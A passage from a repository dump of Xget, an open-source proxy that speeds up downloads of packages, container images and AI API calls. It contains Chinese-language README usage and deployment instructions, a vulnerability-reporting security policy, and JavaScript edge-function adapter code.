"正在下載外掛程式: $name v$version" wget -P jenkins_plugins "https://xget.xi-xu.me/jenkins/download/plugins/$name/$version/$name.hpi" done echo "所有外掛程式下載完成!" EOF chmod +x download_jenkins_plugins.sh ./download_jenkins_plugins.sh ``` #### 離線 Jenkins 部署 對於無網路環境的 Jenkins 部署: ```bash # 1. 下載 Jenkins 核心檔案 wget https://xget.xi-xu.me/jenkins/war/jenkins.war # 2. 建立外掛程式打包指令碼 cat > prepare_jenkins_offline.sh << 'EOF' #!/bin/bash # 建立離線部署目錄結構 mkdir -p jenkins_offline/{plugins,update_center} # 下載更新中心配置 curl -o jenkins_offline/update_center/update-center.json \ https://xget.xi-xu.me/jenkins/update-center.json # 必備外掛程式列表 essential_plugins=( "ant:475.vf34069fef73c" "build-timeout:1.31" "credentials:1319.v7eb_51b_3a_c97b_" "git:5.2.1" "github:1.38.0" "gradle:2.8.2" "ldap:682.v7b_544c9d1512" "mailer:463.vedf8358e006b_" "matrix-auth:3.2.2" "maven-plugin:3.27" "pam-auth:1.10" "pipeline-stage-view:2.34" "ssh-slaves:2.973.v0fa_8c0dea_f9f" "timestamper:1.26" "workflow-aggregator:596.v8c21c963d92d" "ws-cleanup:0.45" ) # 下載所有必備外掛程式 for plugin in "${essential_plugins[@]}"; do name=$(echo $plugin | cut -d: -f1) version=$(echo $plugin | cut -d: -f2) echo "下載 $name:$version" wget -P jenkins_offline/plugins \ "https://xget.xi-xu.me/jenkins/download/plugins/$name/$version/$name.hpi" done # 建立部署說明 cat > jenkins_offline/deploy_instructions.md << 'DEPLOY' # Jenkins 離線部署說明 1. 將 jenkins.war 複製到目標伺服器 2. 啟動 Jenkins:java -jar jenkins.war 3. 將 plugins/ 目錄中的 .hpi 檔案複製到 $JENKINS_HOME/plugins/ 4. 重啟 Jenkins DEPLOY echo "離線部署包準備完成!" EOF chmod +x prepare_jenkins_offline.sh ./prepare_jenkins_offline.sh ``` #### 在專案中使用 ##### Jenkinsfile 中的外掛程式檢查 ```groovy pipeline { agent any stages { stage('Check Plugin Availability') { steps { script { // 檢查 Maven 外掛程式可用性 def pluginUrl = "https://xget.xi-xu.me/jenkins/download/plugins/maven-plugin/3.27/maven-plugin.hpi" try { def response = httpRequest url: pluginUrl, httpMode: 'HEAD' if (response.status == 200) { echo "Maven 外掛程式可用: ${pluginUrl}" } } catch (Exception e) { error "Maven 外掛程式不可用: ${e.message}" } } } } stage('Build') { steps { // 您的建置步驟 echo "使用加速後的外掛程式進行建置..." } } } } ``` ### 容器鏡像加速 #### 直接拉取鏡像 ```bash # 拉取 GitHub 容器註冊表鏡像 docker pull xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest # 拉取 Google 容器註冊表鏡像 docker pull xget.xi-xu.me/cr/gcr/distroless/base:latest # 拉取 Microsoft 容器註冊表鏡像 docker pull xget.xi-xu.me/cr/mcr/dotnet/runtime:8.0 ``` #### Kubernetes 部署配置 ```yaml # deployment.yaml - 使用 Xget 的鏡像 apiVersion: apps/v1 kind: Deployment metadata: name: nginx-deployment spec: replicas: 3 selector: matchLabels: app: nginx template: metadata: labels: app: nginx spec: containers: - name: nginx image: xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest ports: - containerPort: 80 - name: redis image: xget.xi-xu.me/cr/ghcr/bitnami/redis:alpine ports: - containerPort: 6379 ``` #### Docker Compose 配置 ```yaml # docker-compose.yml - 使用 Xget 加速鏡像 version: '3.8' services: web: image: xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest ports: - '80:80' volumes: - ./html:/usr/share/nginx/html database: image: xget.xi-xu.me/cr/mcr/mssql/server:2022-latest environment: ACCEPT_EULA: Y SA_PASSWORD: 'MyStrongPassword123!' volumes: - mssql_data:/var/opt/mssql cache: image: xget.xi-xu.me/cr/ghcr/bitnami/redis:alpine ports: - '6379:6379' volumes: mssql_data: ``` #### Dockerfile 最佳化 ```dockerfile # 在 Dockerfile 中使用 Xget 加速基礎鏡像 FROM xget.xi-xu.me/cr/ghcr/nodejs/node:18-alpine AS builder WORKDIR /app COPY package*.json ./ RUN npm install COPY . . RUN npm run build # 生產階段 FROM xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest COPY --from=builder /app/dist /usr/share/nginx/html # 使用 Microsoft 容器註冊表的 .NET 鏡像 FROM xget.xi-xu.me/cr/mcr/dotnet/aspnet:8.0 AS runtime WORKDIR /app COPY --from=builder /app/publish . ENTRYPOINT ["dotnet", "MyApp.dll"] ``` #### CI/CD 整合 ```yaml # GitHub Actions - 使用 Xget 加速容器建置 name: Build and Deploy on: [push] jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@v4 - name: Build with accelerated base images run: | # 建置時使用 Xget 的基礎鏡像 docker build -t myapp:latest \ --build-arg BASE_IMAGE=xget.xi-xu.me/cr/ghcr/nodejs/node:18-alpine . - name: Test with accelerated images run: | # 使用加速鏡像進行測試 docker run --rm \ xget.xi-xu.me/cr/mcr/dotnet/runtime:8.0 \ dotnet --version ``` #### Podman 配置 ```bash # 配置 Podman 使用 Xget 鏡像加速 # 編輯 /etc/containers/registries.conf [[registry]] prefix = "ghcr.io" location = "xget.xi-xu.me/cr/ghcr" # 或者直接拉取 podman pull xget.xi-xu.me/cr/ghcr/alpine/alpine:latest podman pull xget.xi-xu.me/cr/ghcr/nginxinc/nginx-unprivileged:latest ``` #### containerd 配置 ```toml # 配置 containerd 使用 Xget # 編輯 /etc/containerd/config.toml [plugins."io.containerd.grpc.v1.cri".registry.mirrors] [plugins."io.containerd.grpc.v1.cri".registry.mirrors."ghcr.io"] endpoint = ["https://xget.xi-xu.me/cr/ghcr"] [plugins."io.containerd.grpc.v1.cri".registry.mirrors."gcr.io"] endpoint = ["https://xget.xi-xu.me/cr/gcr"] ``` ```bash # 重啟 containerd sudo systemctl restart containerd ``` ### AI 推理 API 加速 #### OpenAI API ```python from openai import OpenAI client = OpenAI( api_key="your-api-key", base_url="https://xget.xi-xu.me/ip/openai/v1", # 使用 Xget ) response = client.responses.create( model="gpt-5.1", input="Hello, GPT!", ) print(response.output_text) ``` #### Claude API ```python from anthropic import Anthropic client = Anthropic( api_key="your-api-key", base_url="https://xget.xi-xu.me/ip/anthropic", # 使用 Xget ) message = client.messages.create( model="claude-sonnet-4-5", max_tokens=256, messages=[ { "role": "user", "content": "Hello, Claude!", } ], ) print(message.content[0].text) ``` #### Gemini API ```python from google import genai from google.genai import types client = genai.Client( api_key="your-api-key", http_options=types.HttpOptions(base_url="https://xget.xi-xu.me/ip/gemini"), # 使用 Xget ) response = client.models.generate_content( model="gemini-3-pro-preview", contents="Hello, Gemini!", ) print(response.text) ``` #### 多供應商統一介面 ```python from openai import OpenAI providers = [ ("Cohere", "your-cohere-api-key", "/cohere/compatibility/v1", "command-a-03-2025"), ("Mistral", "your-mistral-api-key", "/mistralai/v1", "mistral-medium-latest"), ("xAI", "your-xai-api-key", "/xai/v1", "grok-4"), ] for name, key, path, model in providers: client = OpenAI(api_key=key, base_url="https://xget.xi-xu.me/ip" + path) # 使用 Xget response = client.chat.completions.create( model=model, messages=[{"role": "user", "content": f"Hello, who are you?"}], ) print(name, "=>", response.choices[0].message.content) ``` #### JavaScript/Node.js 中使用 ```javascript // OpenAI API 加速 import OpenAI from 'openai'; const openaiClient = new OpenAI({ apiKey: 'your-openai-api-key', baseURL: 'https://xget.xi-xu.me/ip/openai/v1' // 使用 Xget }); async function chatWithGPT() { const response = await openaiClient.responses.create({ model: 'gpt-5.1', input: 'Hello, GPT!' }); console.log(response.output_text); } // Claude API 加速 import Anthropic from '@anthropic-ai/sdk'; const anthropicClient = new Anthropic({ apiKey: 'your-claude-api-key', baseURL: 'https://xget.xi-xu.me/ip/anthropic' // 使用 Xget }); async function chatWithClaude() { const message = await anthropicClient.messages.create({ model: 'claude-sonnet-4-5', max_tokens: 256, messages: [ { role: 'user', content: 'Hello, Claude!' } ] }); console.log(message.content[0].text); } // Gemini API 加速 import { GoogleGenAI } from '@google/genai'; const geminiClient = new GoogleGenAI({ apiKey: 'your-gemini-api-key' }); async function chatWithGemini() { const response = await geminiClient.models.generateContent({ model: 'gemini-3-pro-preview', contents: 'Hello, Gemini!', config: { httpOptions: { baseUrl: 'https://xget.xi-xu.me/ip/gemini' // 使用 Xget } } }); console.log(response.text); } ``` #### 環境變數配置 ```bash # 在 .env 檔案中配置 OPENAI_BASE_URL=https://xget.xi-xu.me/ip/openai ANTHROPIC_BASE_URL=https://xget.xi-xu.me/ip/anthropic GEMINI_BASE_URL=https://xget.xi-xu.me/ip/gemini COHERE_BASE_URL=https://xget.xi-xu.me/ip/cohere MISTRAL_AI_BASE_URL=https://xget.xi-xu.me/ip/mistralai GROQ_BASE_URL=https://xget.xi-xu.me/ip/groq ``` 然後在程式碼中使用: ```python import os from openai import OpenAI # 從環境變數讀取配置 client = OpenAI( api_key=os.getenv("OPENAI_API_KEY"), base_url=os.getenv("OPENAI_BASE_URL") # 自動使用 Xget ) ``` ## 🚀 部署 ### 部署到 Cloudflare Workers 1. **fork 本儲存庫**:[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork) 2. **獲取 Cloudflare 憑證**: - 存取[帳戶 API 權杖](https://dash.cloudflare.com/?to=/:account/api-tokens)建立並記錄 API 權杖,使用「編輯 Cloudflare Workers」範本 - 存取 [Workers 和 Pages](https://dash.cloudflare.com/?to=/:account/workers-and-pages) 記錄 Account ID 3. **配置 GitHub Secrets**: - 進入您的 GitHub 儲存庫 → Settings → Secrets and variables → Actions - 新增以下 secrets: - `CLOUDFLARE_API_TOKEN`:您的 API 權杖 - `CLOUDFLARE_ACCOUNT_ID`:您的 Account ID 4. **觸發部署**: - 推送程式碼到 `main` 分支會自動觸發部署 - 僅修改文件檔案(`.md`)、`LICENSE`、`.gitignore` 等不會觸發部署 - 也可以在 GitHub Actions 頁面手動觸發部署 5. **綁定自訂網域**(可選):在 Cloudflare Workers 控制台中綁定您的自訂網域 ### 部署到 Cloudflare Pages 1. **fork 本儲存庫**:[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork) 2. **獲取 Cloudflare 憑證**: - 存取[帳戶 API 權杖](https://dash.cloudflare.com/?to=/:account/api-tokens)建立並記錄 API 權杖,使用「編輯 Cloudflare Workers」範本 - 存取 [Workers 和 Pages](https://dash.cloudflare.com/?to=/:account/workers-and-pages) 記錄 Account ID 3. **配置 GitHub Secrets**: - 進入您的 GitHub 儲存庫 → Settings → Secrets and variables → Actions - 新增以下 secrets: - `CLOUDFLARE_API_TOKEN`:您的 API 權杖 - `CLOUDFLARE_ACCOUNT_ID`:您的 Account ID 4. **觸發部署**: - 儲存庫會自動將 Workers 程式碼轉換為 Pages 相容格式並同步到 `pages` 分支 - 推送程式碼到 `main` 分支會自動觸發同步和部署工作流程 - 僅修改文件檔案(`.md`)、`LICENSE`、`.gitignore` 等不會觸發部署 - 也可以在 GitHub Actions 頁面手動觸發部署 5. **綁定自訂網域**(可選):在 Cloudflare Pages 控制台中綁定您的自訂網域 **注意**:`pages` 分支是從 `main` 分支自動生成的。請勿手動編輯 `pages` 分支,因為它會被同步工作流程覆蓋。 ### 部署到 EdgeOne Pages 1. **fork 本儲存庫**:[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork) 2. **獲取 EdgeOne Pages API Token**: - 存取[中國站 EdgeOne 控制台](https://console.cloud.tencent.com/edgeone/pages?tab=api)或[國際站 EdgeOne 控制台](https://console.tencentcloud.com/edgeone/pages?tab=api)建立並記錄 API Token 3. **配置 GitHub Secrets**: - 進入您的 GitHub 儲存庫 → Settings → Secrets and variables → Actions - 新增以下 secret: - `EDGEONE_API_TOKEN`:您的 API Token 4. **觸發部署**: - 儲存庫會自動將 Workers 程式碼轉換為 Pages 相容格式並同步到 `pages` 分支 - 推送程式碼到 `main` 分支會自動觸發同步和部署工作流程 - 僅修改文件檔案(`.md`)、`LICENSE`、`.gitignore` 等不會觸發部署 - 也可以在 GitHub Actions 頁面手動觸發部署 5. **綁定自訂網域**(可選):在 EdgeOne Pages 控制台中綁定您的自訂網域 **注意**:`pages` 分支是從 `main` 分支自動生成的。請勿手動編輯 `pages` 分支,因為它會被同步工作流程覆蓋。 ### 部署到 Vercel 1. **fork 本儲存庫**:[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork) 2. **獲取 Vercel 憑證**: - 存取 [Vercel Account Settings](https://vercel.com/account/settings/tokens) 建立並記錄 Access Token - 存取 Team Settings 記錄 Team ID - 新建專案後存取專案的 Settings 記錄 Project ID 3. **配置 GitHub Secrets**: - 進入您的 GitHub 儲存庫 → Settings → Secrets and variables → Actions - 新增以下 secrets: - `VERCEL_TOKEN`:您的 Access Token - `VERCEL_ORG_ID`:您的 Team ID - `VERCEL_PROJECT_ID`:您的 Project ID 4. **觸發部署**: - 儲存庫會自動將 Workers 程式碼轉換為 Functions 相容格式並同步到 `functions` 分支 - 推送程式碼到 `main` 分支會自動觸發同步和部署工作流程 - 僅修改文件檔案(`.md`)、`LICENSE`、`.gitignore` 等不會觸發部署 - 也可以在 GitHub Actions 頁面手動觸發部署 5. **綁定自訂網域**(可選):在 Vercel 控制台中綁定您的自訂網域 **注意**:`functions` 分支是從 `main` 分支自動生成的。請勿手動編輯 `functions` 分支,因為它會被同步工作流程覆蓋。 ### 部署到 Netlify 1. **fork 本儲存庫**:[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork) 2. **獲取 Netlify 憑證**: - 存取 [Netlify User Settings](https://app.netlify.com/user/applications) 建立並記錄 personal access token - 新建專案後存取 Project configuration 記錄 Project ID 3. **配置 GitHub Secrets**: - 進入您的 GitHub 儲存庫 → Settings → Secrets and variables → Actions - 新增以下 secrets: - `NETLIFY_AUTH_TOKEN`:您的 personal access token - `NETLIFY_SITE_ID`:您的 Project ID 4. **觸發部署**: - 儲存庫會自動將 Workers 程式碼轉換為 Functions 相容格式並同步到 `functions` 分支 - 推送程式碼到 `main` 分支會自動觸發同步和部署工作流程 - 僅修改文件檔案(`.md`)、`LICENSE`、`.gitignore` 等不會觸發部署 - 也可以在 GitHub Actions 頁面手動觸發部署 5. **綁定自訂網域**(可選):在 Netlify 控制台中綁定您的自訂網域 **注意**:`functions` 分支是從 `main` 分支自動生成的。請勿手動編輯 `functions` 分支,因為它會被同步工作流程覆蓋。 ### 部署到 Deno Deploy 1. **fork 本儲存庫**:[Fork xixu-me/Xget](https://github.com/xixu-me/Xget/fork) 2. **切換預設分支**: - 進入您的 GitHub 儲存庫 → Settings → General → Default branch - 將預設分支從 `main` 切換到 `functions` 3. **部署到 Deno Deploy**: - 參考 [Deno Deploy 官方文件](https://docs.deno.com/deploy/getting_started/)執行部署 - 在 Deno Deploy 控制台建立新專案並連接您的 GitHub 儲存庫 4. **綁定自訂網域**(可選):在 Deno Deploy 控制台中綁定您的自訂網域 **注意**:`functions` 分支是從 `main` 分支自動生成的。請勿手動編輯 `functions` 分支,因為它會被同步工作流程覆蓋。 ### 自託管部署 如果您希望在自己的伺服器上執行 Xget,可以使用 Docker 或 Podman 部署: #### 使用預先建置鏡像 從 GitHub Container Registry 拉取並執行預先建置的鏡像: **使用 Docker:** ```bash # 拉取最新鏡像 docker pull ghcr.io/xixu-me/xget:latest # 執行容器 docker run -d \ --name xget \ -p 8080:8080 \ ghcr.io/xixu-me/xget:latest ``` **使用 Podman:** ```bash # 拉取最新鏡像 podman pull ghcr.io/xixu-me/xget:latest # 執行容器 podman run -d \ --name xget \ -p 8080:8080 \ ghcr.io/xixu-me/xget:latest ``` #### 本地建置 從原始碼建置容器鏡像: **使用 Docker:** ```bash # 克隆儲存庫 git clone https://github.com/xixu-me/Xget.git cd Xget # 建置鏡像 docker build -t xget:local . # 執行容器 docker run -d \ --name xget \ -p 8080:8080 \ xget:local ``` **使用 Podman:** ```bash # 克隆儲存庫 git clone https://github.com/xixu-me/Xget.git cd Xget # 建置鏡像 podman build -t xget:local . # 執行容器 podman run -d \ --name xget \ -p 8080:8080 \ xget:local ``` #### 使用 Docker Compose / Podman Compose 建立 `docker-compose.yml` 檔案: ```yaml version: '3.8' services: xget: image: ghcr.io/xixu-me/xget:latest container_name: xget ports: - '8080:8080' restart: unless-stopped ``` **使用 Docker Compose:** ```bash docker compose up -d ``` **使用 Podman Compose:** ```bash podman compose up -d ``` 部署完成後,Xget 將在 8080 連接埠執行。 如果您希望在 DigitalOcean 上部署和執行 Xget,可以參考文件[《Deploying and Optimizing Xget on DigitalOcean》](docs/deploy-on-digitalocean.md)。透過下方推薦連結註冊帳戶,可獲得 200 美元代金券積分,可用於建立 Droplet、Kubernetes、App Platform 等資源:

**注意**:自託管部署不包括全球邊緣網路加速,效能取決於您的伺服器配置和網路環境。 ## 🔧 配置 ### 配置參數 您可以透過修改 `src/config/index.js` 來自訂配置: ```javascript export const CONFIG = { TIMEOUT_SECONDS: 30, // 請求逾時時間(秒) MAX_RETRIES: 3, // 最大重試次數 RETRY_DELAY_MS: 1000, // 重試延遲時間(毫秒) CACHE_DURATION: 1800, // 快取持續時間(1800秒 = 30分鐘) SECURITY: { ALLOWED_METHODS: ['GET', 'HEAD'], // 常規請求的基礎允許清單;協定流量內建了更寬的允許範圍 ALLOWED_ORIGINS: ['*'], // 允許的 CORS 來源 MAX_PATH_LENGTH: 2048 // 最大路徑長度(字元) } }; ``` ### 效能調優建議 - **快取最佳化**:根據使用模式調整 `CACHE_DURATION`,頻繁更新的儲存庫可適當降低 - **逾時設定**:網路條件較差時可適當增加 `TIMEOUT_SECONDS` - **重試策略**:高延遲環境下可增加 `MAX_RETRIES` 和 `RETRY_DELAY_MS` ### 新增新平台 要新增對新平台的支援,請更新平台目錄;如果需要特殊路徑轉換,再補上轉換器: ```javascript // src/config/platform-catalog.js export const PLATFORM_CATALOG = { // 現有平台... custom: 'https://example.com' }; // src/routing/platform-transformers.js const PLATFORM_PATH_TRANSFORMERS = { custom: path => path.replace(/^\/custom\//, '/') }; ``` ## 🚧 開發 1. **儲存庫設定** ```bash git clone https://github.com/xixu-me/Xget.git cd Xget npm install npx wrangler login # 首次使用 ``` 2. **本地開發** ```bash npm run dev # 啟動開發伺服器 (http://localhost:8787) npm run test:run # 執行完整測試套件 npm run test:coverage # 生成測試覆蓋率報告 npm run lint # 程式碼檢查 npm run format # 程式碼格式化 npm run deploy # 部署到生產環境 ``` ## 🧪 測試 儲存庫包含完整的測試套件,確保程式碼品質和功能正確性。 ### 完整測試 ```bash # 安裝測試依賴項 npm install # 執行所有測試 npm run test:run # 生成覆蓋率報告 npm run test:coverage # 監視模式 npm run test:watch ``` ### 測試覆蓋 - **單元測試**: 核心功能、平台配置、效能監控 - **整合測試**: 端到端流程、平台整合、Git 協定 - **安全測試**: 輸入驗證、安全標頭、權限控制 - **效能測試**: 回應時間、記憶體使用、並行處理 ## 🔍 故障排除 ### 常見問題 **Q: 下載速度沒有明顯提升?** A: 檢查來源檔案是否已經在 CDN 邊緣節點快取,首次存取可能較慢,後續存取會顯著提升。 **Q: Git 操作失敗?** A: 確認使用了正確的 URL 格式,且 Git 用戶端版本支援 HTTPS 代理。 **Q: 部署後無法存取?** A: 檢查 Cloudflare Workers 網域是否正確綁定,確認 `wrangler.toml` 配置正確。 **Q: 出現 400 錯誤?** A: 檢查 URL 路徑格式,確認平台前綴正確使用。 ### 效能監控 在回應標頭中返回效能指標: - `X-Performance-Metrics`: 包含請求各階段的耗時統計 - `X-Cache-Status`: 顯示快取命中狀態 ### 日誌除錯 在開發環境中,您可以透過 Cloudflare Workers 控制台檢視詳細日誌: ```bash npx wrangler dev --log-level debug ``` ## ⚠️ 免責聲明 - **合法合規使用**:本儲存庫旨在為程式碼儲存庫、軟體包註冊表、AI 推理 API、容器鏡像、模型、資料集及更多合法開發者資源提供統一加速服務。使用者應嚴格遵守所在司法管轄區法律法規及相關平台服務條款,任何非法用途的法律責任由使用者自行承擔 - **非關聯性與獨立責任**:本儲存庫與各第三方平台不存在任何隸屬、代理或合作關係。任何基於本儲存庫的 fork、二次開發、再分發或衍生版本均由其維護者獨立承擔全部責任;作者、維護者及貢獻者不對衍生儲存庫的任何行為或後果承擔法律或連帶責任 - **無擔保與免責條款**:在適用法律允許的最大範圍內,本儲存庫按「現狀(AS IS)」提供,不提供任何明示或暗示擔保(包括但不限於適銷性、特定用途適用性、非侵權等)。對因使用本儲存庫而造成的任何直接或間接損失(包括但不限於資料遺失、業務中斷、利潤損失等),作者、維護者及貢獻者不承擔任何責任 - **風險自擔原則**:使用者應自行評估使用風險,確保其使用行為合法合規,不侵犯第三方權益,不得將本儲存庫用於任何違法、侵權、惡意或不當用途 - **第三方平台合規**:使用者應遵守相關平台的服務條款、API 使用政策、速率限制及版權要求,避免對源平台造成過載或干擾。各平台對其內容、服務及政策擁有最終解釋權 - **智慧財產權保護**:透過本儲存庫獲取的內容受相應版權法保護。使用者應遵守相關許可協議、版權聲明及使用條款,不得從事任何侵犯智慧財產權的行為 - **安全防護建議**:雖然本儲存庫採用無日誌架構,不儲存使用者請求資料,但基於網際網路傳輸的固有風險,建議使用者對下載內容進行安全掃描,尤其對可執行檔案、指令碼等保持謹慎 - **開源性質聲明**:本儲存庫為開源專案,作者與貢獻者不承擔提供技術支援、錯誤修復或持續維護的義務。外部貢獻的合併不代表對特定用途或效果的承諾與背書 - **名稱使用規範**:嚴禁任何可能暗示作者或貢獻者提供商業合作、技術支援、擔保或背書的表述。涉及儲存庫名稱或作者標識的使用應遵循相關法律法規及通用規範 - **免責聲明更新**:本免責聲明可能隨儲存庫發展或法律環境變化進行更新修訂。使用者繼續使用、複製、分發或修改本儲存庫即視為接受最新版本的免責聲明 ## 🤝 貢獻 我們歡迎各種形式的貢獻!請檢視[貢獻指南](CONTRIBUTING.md)了解如何參與儲存庫開發。 1. **報告問題**: 使用 [issue 範本](https://github.com/xixu-me/Xget/issues/new/choose)報告 bug 或提出功能請求 2. **提交程式碼**: fork 儲存庫,建立功能分支,提交 pull request 3. **改進文件**: 修正錯誤、新增範例、完善說明 4. **測試反饋**: 在不同環境下測試並提供反饋 ## 🌟 Star 歷史 Star History Chart ## 📝 許可證 版權所有 © Xi Xu。 本儲存庫採用 AGPL-3.0 許可證 - 檢視 [LICENSE](LICENSE) 檔案了解詳情。 ---
**如果這個儲存庫對您有幫助,請考慮給它一個 ⭐ star!** Made with ❤️ by [Xi Xu](https://xi-xu.me)
================================================ FILE: SECURITY.md ================================================ # 安全政策 ## 🔒 支持的版本 我们为以下版本提供安全更新: | 版本 | 支持状态 | | --- | --- | | 最新版本 | ✅ | | 开发版本 | ⚠️ 仅限测试 | ## 🚨 报告安全漏洞 如果您发现了安全漏洞,请**不要**通过公开的 GitHub Issues 报告。相反,请通过以下方式私下联系我们: ### 联系方式 - **邮箱**: - **主题**: [SECURITY] Xget 安全漏洞报告 ### 报告内容 请在报告中包含以下信息: 1. **漏洞描述**: 详细描述发现的安全问题 2. **影响范围**: 说明漏洞可能造成的影响 3. **重现步骤**: 提供详细的重现步骤 4. **环境信息**: 包括版本、平台、配置等 5. **建议修复**: 如果有修复建议请一并提供 ### 响应时间 - **确认收到**: 24 小时内 - **初步评估**: 72 小时内 - **详细分析**: 7 天内 - **修复发布**: 根据严重程度,通常在 14-30 天内 ## 🛡️ 安全特性 ### 传输安全 - **强制 HTTPS**: 所有通信均通过 HTTPS 加密 - **HSTS 头**: 防止协议降级攻击 - **安全传输**: 使用现代 TLS 协议 ### 请求安全 - **方法限制**: 严格的 HTTP 方法白名单 - **路径验证**: 防止路径遍历攻击 - **长度限制**: URL 长度限制防止缓冲区溢出 - **超时保护**: 30 秒请求超时防止资源耗尽 ### 内容安全 - **CSP 头**: 严格的内容安全策略 - **XSS 防护**: 内置跨站脚本攻击防护 - **点击劫持防护**: X-Frame-Options 头防止嵌入 - **引用策略**: 控制 HTTP 引用信息 ### 输入验证 - **参数清理**: 所有输入参数严格验证 - **编码处理**: 正确的字符编码处理 - **注入防护**: 防止各类注入攻击 ## 🔍 安全最佳实践 ### 部署安全 1. **环境隔离**: 生产环境与开发环境严格分离 2. **访问控制**: 最小权限原则 3. **监控日志**: 启用详细的安全日志记录 4. **定期更新**: 及时更新依赖和运行时 ### 配置安全 1. **敏感信息**: 使用环境变量存储敏感配置 2. **CORS 设置**: 合理配置跨域资源共享 3. **缓存策略**: 避免缓存敏感信息 4. **错误处理**: 不暴露内部实现细节 ### 使用安全 1. **域名验证**: 确保使用可信的部署域名 2. **定期检查**: 定期检查服务状态和日志 3. **版本更新**: 及时更新到最新安全版本 4. **备份恢复**: 建立完善的备份和恢复机制 ## 📋 安全检查清单 ### 部署前检查 - [ ] 所有依赖项已更新到最新版本 - [ ] 安全头配置正确 - [ ] 环境变量配置安全 - [ ] CORS 策略配置合理 - [ ] 日志记录已启用 ### 运行时监控 - [ ] 异常请求监控 - [ ] 性能指标监控 - [ ] 错误率监控 - [ ] 资源使用监控 ### 定期维护 - [ ] 依赖项安全扫描 - [ ] 代码安全审计 - [ ] 配置安全检查 - [ ] 日志分析 ## 🚀 安全更新 ### 更新通知 安全更新将通过以下渠道发布: - GitHub Releases - 存储库 README - 安全公告邮件(如适用) ### 更新优先级 - **严重**: 立即更新 - **高**: 24 小时内更新 - **中**: 7 天内更新 - **低**: 下次常规更新 ## 🤝 安全贡献 ### 安全研究 我们欢迎负责任的安全研究,包括: - 代码审计 - 渗透测试 - 漏洞发现 - 安全改进建议 ### 致谢 我们将在适当的地方公开感谢报告安全问题的研究人员(除非他们要求匿名)。 ## 📞 紧急联系 对于严重的安全问题,请立即联系: - **邮箱**: - **主题**: [URGENT SECURITY] 紧急安全问题 我们承诺在收到紧急安全报告后 12 小时内响应。 --- 感谢您帮助保持 Xget 的安全性! ================================================ FILE: adapters/functions/api/index.js ================================================ /** * Xget - High-performance acceleration engine for developer resources * Copyright (C) 2025 Xi Xu * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see . */ import { handleRequest } from '../../../src/app/handle-request.js'; /** * @typedef {{ * ALLOWED_METHODS?: string, * ALLOWED_ORIGINS?: string, * CACHE_DURATION?: string, * MAX_PATH_LENGTH?: string, * MAX_RETRIES?: string, * RETRY_DELAY_MS?: string, * TIMEOUT_SECONDS?: string * }} RuntimeEnv */ /** * @typedef {{ * env?: RuntimeEnv, * geo?: unknown, * ip?: string, * waitUntil?: (promise: Promise) => void * }} FunctionAdapterContext */ /** * Edge Function handler. * @param {Request} request - Standard Web API Request object * @param {FunctionAdapterContext} [context] - Platform-specific context (Netlify only) * @returns {Promise} Standard Web API Response * @example * // Netlify invokes with context * handler(request, { geo: {...}, ip: '1.2.3.4', env: {...}, waitUntil: fn }) * @example * // Vercel invokes without context * handler(request) */ export default async function handler(request, context) { const runtimeContext = context || /** @type {FunctionAdapterContext} */ ({}); // Detect runtime environment const isNetlify = runtimeContext.geo !== undefined || runtimeContext.ip !== undefined; // Normalize environment variables // Netlify provides context.env, Vercel Edge uses globalThis /** @type {RuntimeEnv} */ let envSource; if (isNetlify) { envSource = runtimeContext.env || {}; } else if (typeof process !== 'undefined' && process.env) { // Vercel or Node.js environment envSource = process.env; } else { // Fallback for other environments envSource = {}; } const env = { TIMEOUT_SECONDS: envSource.TIMEOUT_SECONDS, MAX_RETRIES: envSource.MAX_RETRIES, RETRY_DELAY_MS: envSource.RETRY_DELAY_MS, CACHE_DURATION: envSource.CACHE_DURATION, ALLOWED_METHODS: envSource.ALLOWED_METHODS, ALLOWED_ORIGINS: envSource.ALLOWED_ORIGINS, MAX_PATH_LENGTH: envSource.MAX_PATH_LENGTH }; // Create normalized execution context const waitUntil = isNetlify && runtimeContext.waitUntil ? runtimeContext.waitUntil : null; const ctx = { waitUntil: waitUntil ? /** * Forwards background work in runtimes that support waitUntil. * @param {Promise} promise */ promise => waitUntil(promise) : ( /** @type {Promise} */ _promise ) => { void _promise; // No-op on Vercel: background tasks not supported // Cache writes will run synchronously instead console.warn('waitUntil is not supported in Vercel Edge Runtime'); }, passThroughOnException: () => { // Not supported on either platform in this context console.warn('passThroughOnException is not universally supported'); } }; // Delegate to the main request handler return handleRequest(request, env, ctx); } // Vercel Edge Runtime configuration (ignored by Netlify) export const config = { runtime: 'edge' }; ================================================ FILE: adapters/functions/deno.js ================================================ /** * Xget - High-performance acceleration engine for developer resources * Copyright (C) 2025 Xi Xu * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see . */ /* eslint-disable no-undef */ import { handleRequest } from '../../src/app/handle-request.js'; /** * Deno Deploy handler. * * This is the entry point for Deno Deploy deployments. It uses the * standard Deno.serve() API to handle incoming HTTP requests. * @param {Request} request - Standard Web API Request object * @returns {Promise} Standard Web API Response * @example * // Deno Deploy invokes automatically: * // Deno.serve((request) => handler(request)) */ async function handler(request) { // Extract environment variables from Deno.env const env = { TIMEOUT_SECONDS: Deno.env.get('TIMEOUT_SECONDS'), MAX_RETRIES: Deno.env.get('MAX_RETRIES'), RETRY_DELAY_MS: Deno.env.get('RETRY_DELAY_MS'), CACHE_DURATION: 